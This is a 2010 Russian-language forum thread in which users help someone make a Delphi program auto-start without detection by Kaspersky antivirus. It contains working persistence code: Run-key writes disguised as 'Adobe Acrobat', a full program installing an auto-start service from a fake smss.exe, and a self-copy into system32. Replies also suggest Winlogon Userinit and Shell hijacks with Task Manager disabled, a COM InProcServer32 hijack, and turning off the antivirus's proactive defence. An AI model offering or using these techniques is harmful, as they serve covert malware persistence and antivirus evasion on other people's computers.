PDA

Просмотр полной версии : [Delphi] Пропись в автозапуск


patcher
24.01.2010, 16:36
Как из дельфи прописатся в автозапуск незаметно для Каспера? подскажите хоть что-нибудь)

RDL_Rider
24.01.2010, 17:17
не знаю как на счёт палева, но первое что пришло в голову:
ключ реестра AppInitDlls
HKCU...\Run
HKLM...\Run
аттач к доверенному процессу

patcher
24.01.2010, 17:26
да это я знаю, но палится Каспером на раз-два. А нужно как-то беспалевно

cheater_man
24.01.2010, 17:59
Скопировать файл в папку "Автозагрузка" :D

RDL_Rider
24.01.2010, 18:37
Выводить месседжбокс юзеру, с просьбой пока никто не видит запустить экзешник :D

warl0ck
28.01.2010, 20:38
Reg:=TRegIniFile.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('Software',true);
Reg.OpenKey('Microsoft',true);
Reg.OpenKey('Windows',true);
Reg.OpenKey('CurrentVersion',true);
Reg.OpenKey('Run',true);
Reg.WriteString('Adobe Acrobat',Application.ExeName);
Reg.CloseKey;
Reg.Free;
м?

flacs
28.01.2010, 23:00
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E6FB5E2 0-DE35-11CF-9C87-00AA005127ED}\InProcServer32

ПРи открытии любого файла в проводнике вызывается дллка которую укажешь

RDL_Rider
28.01.2010, 23:17
а тебе не кажется, что это:
Reg:=TRegIniFile.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('Software',true);
Reg.OpenKey('Microsoft',true);
Reg.OpenKey('Windows',true);
Reg.OpenKey('CurrentVersion',true);
Reg.OpenKey('Run',true);
Reg.WriteString('Adobe Acrobat',Application.ExeName);
Reg.CloseKey;
Reg.Free;
м?
- одно и то же что и это:

HKCU...\Run
HKLM...\Run

и оно автору не подходит ;)
м? :)

patcher
28.01.2010, 23:27
и оно автору не подходит ;)
м? :)
да ты прав :) Мне нужно как-то беспалевно от Каспера. Перебробывал уже все варианты: редактирование реестра непосредственно с Delphi, запись с помощью утилиты REG.exe (непосредственно с Delphi), создание батника с указанием на REG.exe, копирование файла в Атозагрузку - везде Каспер успешно справляется со своей работой :(

warl0ck
28.01.2010, 23:42
да ты прав :) Мне нужно как-то беспалевно от Каспера. Перебробывал уже все варианты: редактирование реестра непосредственно с Delphi, запись с помощью утилиты REG.exe (непосредственно с Delphi), создание батника с указанием на REG.exe, копирование файла в Атозагрузку - везде Каспер успешно справляется со своей работой :(
а может проще каспера с автозапуска килл :D или ваще удалить :)

patcher
29.01.2010, 00:03
а может проще каспера с автозапуска килл :D или ваще удалить :)
Не проще, так как и тут он все пронюхивает :(

0ldbi4
29.01.2010, 16:00
Посмотри в гугле как сиэрсиэс.экзе прописывается вроде нечего так, прописываться как программа открывающая файлы например картинки _ttp://forum.antichat.ru/showthread.php?p=1797630#post1797630

Еще не спалю как можно вырубать проактивку каспера... погугли

patcher
29.01.2010, 16:08
Посмотри в гугле как сиэрсиэс.экзе прописывается вроде нечего так, прописываться как программа открывающая файлы например картинки _ttp://forum.antichat.ru/showthread.php?p=1797630#post1797630

Еще не спалю как можно вырубать проактивку каспера... погугли
Спасибо, вариант действительно хороший, но мне он не подходит, мне нужно именно в Авторан :(

sn0w
29.01.2010, 16:09
HKLM....WinLogon

в Userinit после запятой - себя, либо для прикола вообще в Shell и запретить таскманагер)

http://img39.imageshack.us/img39/7862/84721057.jpg

а вообще возьми autoruns и там смотри

хотя дал я жару, насчет каспера не прочел в начале)

xafon
30.01.2010, 21:36
в принципе можно и через сервисы попробовать, насчет палевности каспером я не знаю, но попробовать можно.
Program service;
const
ServiceName = 'Имя службы';
ServiceDisp = 'Выводимое имя';
Path = '\system32\drivers\smss.exe'; //путь до нужного тебе файла
user32 = 'user32.dll';
kernel32 = 'kernel32.dll';
advapi32 = 'advapi32.dll';
SERVICE_RUNNING = $4;
SERVICE_WIN32_OWN_PROCESS = $10;
SERVICE_WIN32_SHARE_PROCESS = $20;
SERVICE_WIN32 = (SERVICE_WIN32_OWN_PROCESS or
SERVICE_WIN32_SHARE_PROCESS);
SERVICE_START_PENDING = $2;
SC_MANAGER_CREATE_SERVICE = $2;
STANDARD_RIGHTS_REQUIRED = $F0000;
SERVICE_AUTO_START = $2;
SERVICE_ERROR_NORMAL = $1;
SC_MANAGER_CONNECT = $1;
SERVICE_START = $10;
SERVICE_QUERY_STATUS = $4;
SERVICE_INTERACTIVE_PROCESS = $100;
INFINITE = INTEGER($FFFFFFFF);

type
HINST = INTEGER;
THandle = INTEGER;
UINT = INTEGER;
DWORD = INTEGER;
LPDWORD =^INTEGER;
BOOL = BOOLEAN;

SERVICE_TABLE_ENTRYA = record
lpServiceName : PChar;
lpServiceProc : Pointer;
end;

SERVICE_STATUS = record
dwServiceType : DWORD;
dwCurrentState : DWORD;
dwControlsAccepted : DWORD;
dwWin32ExitCode : DWORD;
dwServiceSpecificExitCode : DWORD;
dwCheckPoint : DWORD;
dwWaitHint : DWORD;
end;


var
DispatchTable : SERVICE_TABLE_ENTRYA;
ServiceStatus : SERVICE_STATUS;
ServiceStatusHandle : integer;

function DefWindowProc(hWnd: Integer; Msg: UINT; wParam: Integer; lParam: Integer): Integer; stdcall; external user32 name 'DefWindowProcA';
function SetServiceStatus(hServiceStatus: integer; var lpServiceStatus: SERVICE_STATUS): BOOL; stdcall; external advapi32 name 'SetServiceStatus';
function RegisterServiceCtrlHandler(lpServiceName: PChar; lpHandlerProc: pointer): integer; stdcall;external advapi32 name 'RegisterServiceCtrlHandlerA';
function OpenSCManager(lpMachineName, lpDatabaseName: PChar; dwDesiredAccess: DWORD): INTEGER; stdcall; external advapi32 name 'OpenSCManagerA';
function CreateService(hSCManager: INTEGER; lpServiceName, lpDisplayName : PChar; dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl: DWORD; lpBinaryPathName, lpLoadOrderGroup: PChar; lpdwTagId: LPDWORD; lpDependencies, lpServiceStartName, lpPassword: PChar): INTEGER; stdcall; external advapi32 name 'CreateServiceA';
function CloseServiceHandle(hSCObject: INTEGER): BOOL; stdcall; external advapi32 name 'CloseServiceHandle';
function OpenService(hSCManager: INTEGER; lpServiceName: PChar; dwDesiredAccess: DWORD): INTEGER; stdcall; external advapi32 name 'OpenServiceA';
function StartService(hService: INTEGER; dwNumServiceArgs: INTEGER; var lpServiceArgVectors: PChar): BOOL; stdcall; external advapi32 name 'StartServiceA';
function QueryServiceStatus(hService: INTEGER; var lpServiceStatus: SERVICE_STATUS): BOOL; stdcall; external advapi32 name 'QueryServiceStatus';
function StartServiceCtrlDispatcher(var lpServiceStartTable: SERVICE_TABLE_ENTRYA): BOOL; stdcall; external advapi32 name 'StartServiceCtrlDispatcherA';
procedure Sleep(dwMilliseconds: DWORD); stdcall; external kernel32 name 'Sleep';

procedure ServiceCtrlHandler; stdcall;
begin
SetServiceStatus(ServiceStatusHandle, ServiceStatus);
end;

procedure MainServiceThread; stdcall;
begin
sleep(INFINITE);
end;

procedure ServiceProc(argc: DWORD; var argv: array of PChar); stdcall;
var
thID : integer;
begin
ServiceStatus.dwServiceType := SERVICE_WIN32;
ServiceStatus.dwCurrentState := SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted := 0;
ServiceStatus.dwWin32ExitCode := 0;
ServiceStatus.dwServiceSpecificExitCode := 0;
ServiceStatus.dwCheckPoint := 0;
ServiceStatus.dwWaitHint := 0;
ServiceStatusHandle := RegisterServiceCtrlHandler(ServiceName, @ServiceCtrlHandler);
ServiceStatus.dwCurrentState := SERVICE_RUNNING;
ServiceStatus.dwCheckPoint := 0;
ServiceStatus.dwWaitHint := 0;
SetServiceStatus(ServiceStatusHandle, ServiceStatus);
end;

function CreateNTService(ExecutablePath, ServiceName: PChar): boolean;
var
hNewService : INTEGER;
hSCMgr : INTEGER;
FuncRetVal : Boolean;
begin
FuncRetVal := False;
hSCMgr := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
if (hSCMgr <> 0) then
begin
hNewService := CreateService(hSCMgr, ServiceName, ServiceDisp,
STANDARD_RIGHTS_REQUIRED, SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
ExecutablePath, nil, nil, nil, nil, nil);
CloseServiceHandle(hSCMgr);
if (hNewService <> 0) then
FuncRetVal := true
else
FuncRetVal := false;
end;
CreateNTService := FuncRetVal;
end;

function ServiceStart(aServiceName: PChar ): boolean;
var
h_manager : INTEGER;
h_svc : INTEGER;
svc_status : SERVICE_STATUS;
Temp : PChar;
dwCheckPoint : DWord;
begin
svc_status.dwCurrentState := 1;
h_manager := OpenSCManager(nil, nil, SC_MANAGER_CONNECT);
if h_manager > 0 then
begin
h_svc := OpenService(h_manager, aServiceName,
SERVICE_START or SERVICE_QUERY_STATUS);
if h_svc > 0 then
begin
temp := nil;
if (StartService(h_svc,0,temp)) then
if (QueryServiceStatus(h_svc,svc_status)) then
begin
while (SERVICE_RUNNING <> svc_status.dwCurrentState) do
begin
dwCheckPoint := svc_status.dwCheckPoint;
Sleep(svc_status.dwWaitHint);
if (not QueryServiceStatus(h_svc,svc_status)) then break;
if (svc_status.dwCheckPoint < dwCheckPoint) then break;
end;
end;
CloseServiceHandle(h_svc);
end;
CloseServiceHandle(h_manager);
end;
Result := SERVICE_RUNNING = svc_status.dwCurrentState;
end;
begin
CreateNTService(path, ServiceName);
ServiceStart(ServiceName);
exit;
DispatchTable.lpServiceName := ServiceName;
DispatchTable.lpServiceProc := @ServiceProc;
StartServiceCtrlDispatcher(DispatchTable);
end.

cepera666
31.01.2010, 12:38
procedure TForm3.Button3Click(Sender: TObject);
Var
Reg:Tregistry; // Создание переменной Reg
begin
Reg:=TRegistry.create; // Инициализирование этой же переменной
REG.RootKey:=HKEY_LOCAL_MACHINE;
REG.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVer sion\Run',true);
REG.WriteString('test','%systemroot%\system32\test .exe');
REG.CloseKey;
Reg.Destroy;
CopyFile(pchar(paramstr(0)), pchar('c:\windows\system32\test.exe'),true);
end;

вроде бы такая ругалось только на то, что копирует сам себя. но дело было больше года назад)